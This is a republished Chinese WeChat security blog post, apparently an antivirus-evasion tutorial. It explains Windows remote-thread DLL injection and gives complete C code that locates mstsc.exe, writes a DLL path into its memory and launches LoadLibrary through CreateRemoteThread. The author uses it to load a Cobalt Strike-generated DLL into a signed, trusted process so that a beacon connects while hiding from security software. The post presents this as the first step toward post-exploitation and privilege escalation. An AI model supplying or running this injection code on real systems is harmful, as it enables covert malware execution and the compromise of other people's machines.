声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
大家好,前段时间忙着HW,也有一段时间没有更新公众号了。。。。
涉及到的知识点:
-
操作系统之内存管理
-
WindowsAPI
-
PE
啰嗦几句:WindowsAPI真的太多了,写代码的时候,记不住参数是正常的,大家可以一边写一边F11查看msdn的官方文档,不推荐csdn,最好查看官方文档
1.写在前面
我们需要搞清楚两点:什么是dll注入,为什么需要dll注入
当程序被启动,或者某个线程使用CreateProcess创建新的进程时,系统会分配一个内存地址,存放可执行文件,一个exe文件包含了代码要调用的DLL文件,然后系统会调用LoadLibrary函数来加载dll文件
最后,当所有的exe和DLL文件都被映射到进程的地址空间之后,系统就可以开始执行exe文件的启动代码了。
dll注入就是让一个线程来加载我们自己的dll文件,当然,这里就是用来上线的dll喽
dll注入又叫远程线程注入,代表了三个部分,远程,线程,注入
为什么远程?因为dll注入的时候,不可能注入一个自己的进程,自己的进程肯定是没有数字签名的,了解下杀软,对于没有数字签名的进程的查杀力度,远远高于有数字签名的,所以这就是为什么要远程注入一个白进程,即微软自带的一些白名单进程。
为什么需要dll注入,免杀上线,只是一个开始,拿到shell之后,要信息搜集,提权,这些敏感操作,杀软都查的很死,如果不注入一个白进程,百分百被杀。
2.WindowsAPI
WindowsAPI太多了,这里只介绍常用的,大家可以上msdn查找用法。
CreateRemoteThread()
HANDLE WINAPI CreateRemoteThread(
__in HANDLE hProcess,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out LPDWORD lpThreadId
);
hProcess:参数类型是HANDLE,也就是句柄
CreateRemoteThread:指向 SECURITY_ATTRIBUTES 结构的指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。如果 lpThreadAttributes 为 NULL,则线程将获取默认安全描述符,并且无法继承句柄。写NULL即可
dwStackSize:线程初始大小,默认0
lpStartAddress:远程进程中线程的起始地址,即使用LoadLibrary的地址作为线程函数地址
lpParameter:指向要传递给线程函数的变量的指针,即使用dll路径作为参数(存放在申请的内存中)
dwCreationFlags:这里使用0,代表创建后立即执行线程,这里还有个挂起,傀儡进程的原理就是这个,下一篇文章来讲讲,也可自行百度:https://blog.csdn.net/weixin_44891742/article/details/125627482
lpThreadId:指向接收线程标识符的变量的指针,写NULL即可
VirtualAllocEx()
是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
hProcess:进程的句柄
lpAddress:为要分配的页面区域指定所需起始地址的指针。
dwSize:要分配的内存区域的大小(以字节为单位)。
flAllocationType:内存分配的类型(可分页内存),一般用MEM_COMMIT
WriteProcessMemory()
此函数能写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败
BOOL WriteProcessMemory(
HANDLE hProcess, //进程句柄
LPVOID lpBaseAddress, //写入的内存首地址
LPCVOID lpBuffer, //要写数据的指针
SIZE_T nSize, //大小
SIZE_T *lpNumberOfBytesWritten
);
OpenProcess()
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
第一个是获取何种权限,这里获取全部权限,第二个默认不继承句柄,第三个要打开的本地进程的标识符,即PID。
GetProcAddresss()
FARPROC GetProcAddress(
[in] HMODULE hModule,//模块的句柄,可用GetModuleHandle()函数获取
[in] LPCSTR lpProcName//要查找的函数名称
);
3.实现过程
掌握这些WindowsAPI之后,先思考注入的流程是什么
要想拿到一个进程往里面写东西,首先要拿到进程的句柄,所以第一步就是打开进程拿到句柄,然后就要申请内存。要加载dll,就要把dll路径写入内存里面,然后LoadLibrary加载。这里我看了很多师傅都是隐藏了导入表(一定程度规避杀软),不直接调用LoadLibrary,而是在kernel32.dll里面自己找LoadLibrary的地址,所以第四步是获取LoadLibrary地址,然后就是在另一个进程中创建线程。这里就差不多了,最后收尾,等待线程结束,释放dll空间,关闭句柄
-
获取线程句柄
这个函数就不用自己写了,直接google
DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);//PROCESSENTRY32是一个结构
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
简单解释下代码,这里就是通过对当前进程拍摄快照,然后获取pid
这里用了do-while循环,获取快照中的进程名,和lpProcessName(传入的参数,也就是需要查找的进程名)进行比较,然后返回一个pid
我们打开一个mstsc,然后运行程序
可以看到获取句柄是没问题的
然后写个函数RemoteThreadInject,两个参数,第一个是pid,第二个是指针类型的dll的路径
DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DLLPath)
{
DWORD size = 0;
// 1.打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hProcess == NULL)
{
printf("OpenProcess FAILED!n");
return FALSE;
}
// 2.申请空间
size = (wcslen(DLLPath)+1) * sizeof(TCHAR);//获取dll路径长度,dll以TCHAR类型存储
LPVOID pAllocMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx FAILED!n");
return FALSE;
}
// 3.写入内存
BOOL pWrite = WriteProcessMemory(hProcess, pAllocMemory, DLLPath, size,NULL);//f11查看该函数注解,类型为bool值
if (pWrite == 0)
{
printf("WriteProcessMemory FAILED!n");
return FALSE;
}
//4.获取LoadLibrary地址
FARPROC pThread = GetProcAddress(DrvGetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//vs生成的默认是unicode,W系的API对应unicode,A系的API对应ascii
LPTHREAD_START_ROUTINE address = (LPTHREAD_START_ROUTINE)pThread;//创建线程第四个参数需要LPTHREAD_START_ROUTINE类型,进行类型强制转换
//5.创建线程
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, address, pAllocMemory, 0, NULL);
if (hThread == 0)
{
printf("CreateRemoteThread FAILED!n");
return FALSE;
}
//6.等待线程函数结束
WaitForSingleObject(hThread, INFINITE);//INFINITE==-1==0xffffffff
//7.释放dll空间
VirtualFreeEx(hProcess, pAllocMemory, size, MEM_DECOMMIT);
//8.关闭句柄
CloseHandle(hProcess);
return TRUE;
}
整个功能函数就写完了,接下来在主函数调用就行了,我用的CS直接生成的DLL。
int main()
{
DWORD PID = GetProcessPID(L"mstsc.exe");
RemoteThreadInject(PID, L"C:\Users\姜戈\Desktop\DLLInject.dll");
}
然后打开一个mstsc.exe,本地Windows部署即可。
可以看到成功上线,DLL注入就成功了,但是,被杀哈哈哈哈哈哈,免杀道路还长
可以看到确实加载了DLLInject.dll
站岗小狗为您服务
原文始发于微信公众号(HexaGoners):免杀基础之DLL远程线程注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论